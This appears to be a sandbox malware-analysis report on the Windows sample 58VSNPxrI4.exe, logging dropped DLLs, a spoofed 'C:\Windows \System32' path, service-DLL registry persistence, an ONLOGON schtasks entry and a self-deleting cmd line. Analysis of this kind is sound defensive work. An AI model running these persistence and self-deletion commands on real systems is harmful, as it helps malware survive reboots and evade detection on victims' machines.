Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb{{ source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: PrintUI.pdb source: 58VSNPxrI4.exe, 00000000.00000003.1683788301.000002B6E7A91000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 0000000D.00000000.1687556930.00007FF616B12000.00000002.00000001.01000000.00000005.sdmp, printui.exe, 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: PrintUI.pdbGCTL source: 58VSNPxrI4.exe, 00000000.00000003.1683788301.000002B6E7A91000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 0000000D.00000000.1687556930.00007FF616B12000.00000002.00000001.01000000.00000005.sdmp, printui.exe, 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmp

Source: 58VSNPxrI4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 58VSNPxrI4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 58VSNPxrI4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 58VSNPxrI4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 58VSNPxrI4.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\console_zero.exe

Code function: 32_2_00007FFBBAF9FC30 GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,GetSystemDirectoryW,GetSystemDirectoryW,LoadLibraryW,

32_2_00007FFBBAF9FC30

Source: libcurl.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0x91802
Source: libssl-3-x64.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0xc8e31
Source: console_zero.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0xa3db6
Source: libcrypto-3-x64.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0x47ab8d
Source: zlib1.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0x1636c
Source: libpq.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0x597eb
Source: x939048.dat.13.dr	Static PE information: real checksum: 0x0 should be: 0x1e9163
Source: x549596.dat.26.dr	Static PE information: real checksum: 0x59de4ca should be: 0x72040e

Source: 58VSNPxrI4.exe	Static PE information: section name: .fptable
Source: printui.dll.0.dr	Static PE information: section name: .fptable
Source: libiconv-2.dll.13.dr	Static PE information: section name: .xdata
Source: libiconv-2.dll.13.dr	Static PE information: section name: /4
Source: libiconv-2.dll.13.dr	Static PE information: section name: /19
Source: libiconv-2.dll.13.dr	Static PE information: section name: /31
Source: libiconv-2.dll.13.dr	Static PE information: section name: /45
Source: libiconv-2.dll.13.dr	Static PE information: section name: /57
Source: libiconv-2.dll.13.dr	Static PE information: section name: /70
Source: libiconv-2.dll.13.dr	Static PE information: section name: /81
Source: libiconv-2.dll.13.dr	Static PE information: section name: /92
Source: libintl-9.dll.13.dr	Static PE information: section name: .xdata
Source: libintl-9.dll.13.dr	Static PE information: section name: /4
Source: libintl-9.dll.13.dr	Static PE information: section name: /19
Source: libintl-9.dll.13.dr	Static PE information: section name: /31
Source: libintl-9.dll.13.dr	Static PE information: section name: /45
Source: libintl-9.dll.13.dr	Static PE information: section name: /57
Source: libintl-9.dll.13.dr	Static PE information: section name: /70
Source: libintl-9.dll.13.dr	Static PE information: section name: /81
Source: libintl-9.dll.13.dr	Static PE information: section name: /92
Source: libwinpthread-1.dll.13.dr	Static PE information: section name: .xdata
Source: console_zero.exe.13.dr	Static PE information: section name: .fptable
Source: vcruntime140d.dll.13.dr	Static PE information: section name: _RDATA
Source: x939048.dat.13.dr	Static PE information: section name: .fptable
Source: x549596.dat.26.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\svchost.exe	Code function: 26_2_649487B2 push r11; ret	26_2_649487ED
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_660224A8 push rax; retf	26_2_660224B1
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_660F11DC push rbp; retf	26_2_660F11BF
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_660F11DC push rbp; retf	26_2_660F11EF
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_660F11E4 push rbp; retf	26_2_660F11BF
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_660F11E4 push rbp; retf	26_2_660F11EF
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6829984B push 00000000h; retf	26_2_68299850
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682970AC push rax; iretd	26_2_682970AD
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682951B2 push rdx; retn 0000h	26_2_682951B3
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6829998B push 00000000h; ret	26_2_68299990
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6829999B push 00000000h; iretd	26_2_682999A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6829AA73 push 00000000h; ret	26_2_6829AA78
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6829ABBB push 00000000h; retf	26_2_6829ABC0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6829ABB3 push 00000000h; ret	26_2_6829ABB8
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1428 push rdi; retf	26_2_682A1433
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1420 push rbp; retf	26_2_682A1483
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1430 push rdi; retf	26_2_682A1433
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1468 push rbp; retf	26_2_682A1473
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1460 push rsi; retf	26_2_682A1463
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1470 push rbp; retf	26_2_682A1473
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1440 push rbp; retf	26_2_682A1453
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1458 push rbp; retf	26_2_682A145B
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6828D450 push rbp; retf	26_2_682A14BB
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A14A8 push rbp; retf	26_2_682A1483
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A14A8 push rbp; retf	26_2_682A14BB
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A14B0 push rbp; retf	26_2_682A14BB
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1490 push rbp; retf	26_2_682A149B
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A14E8 push rbp; retf	26_2_682A14EB
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A14E0 push rsp; retf	26_2_682A14E3
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A1518 push rbp; retf	26_2_682A1523
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6829A7AB push 00000000h; iretd	26_2_6829A7B0

Persistence and Installation Behavior

Creates a Windows Service pointing to an executable in C:\Windows

Source: C:\Windows\System32\reg.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\x939048\Parameters ServiceDll C:\Windows\System32\x939048.dat

Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows\System32\console_zero.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Executable created and started: C:\Windows \System32\printui.exe			Jump to behavior

Source: C:\Users\user\Desktop\58VSNPxrI4.exe	File created: C:\Windows \System32\printui.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x939048.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	File created: C:\Windows \System32\printui.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\x549596.dat	Jump to dropped file

Source: C:\Users\user\Desktop\58VSNPxrI4.exe	File created: C:\Windows \System32\printui.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x939048.dat	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	File created: C:\Windows \System32\printui.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to dropped file
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\winsvcf\x549596.dat	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f

Source: C:\Windows\System32\reg.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\x939048\Parameters

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\58VSNPxrI4.exe"
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\58VSNPxrI4.exe"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
